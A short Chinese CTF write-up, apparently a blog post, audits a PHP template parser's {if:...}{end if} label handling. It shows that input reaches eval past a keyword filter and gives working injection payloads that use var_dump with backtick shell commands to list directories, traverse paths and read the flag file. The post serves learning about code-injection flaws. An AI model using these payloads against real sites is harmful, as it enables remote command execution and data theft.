审计代码

传入参数a,进入parserIfLabel函数

发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if}

可知ifstr是a中匹配的第一组的值,即payload中的值
并且经过danger_key函数过滤
继续往下看
Ifstr经过很多过滤替换,最终里面不包含大括号就会进入一个eval语句
漏洞正是出现在这里
往回看danger_key过滤函数

好家伙,不仅将一大堆关键字符替换成*,还进行了二次检查
但是可以用var_dump()函数绕过
构造a={if:var_dump(`ls`)}%20{end%20if}
页面出现

说明命令成功执行
a={if:var_dump(`ls%20../../../../../`)}%20{end%20if} 进行目录穿越
![]()
发现flag
a={if:var_dump(`cat%20../../../../../flag`)}%20{end%20if}
查看flag

版权声明:本文为m0_49835838原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。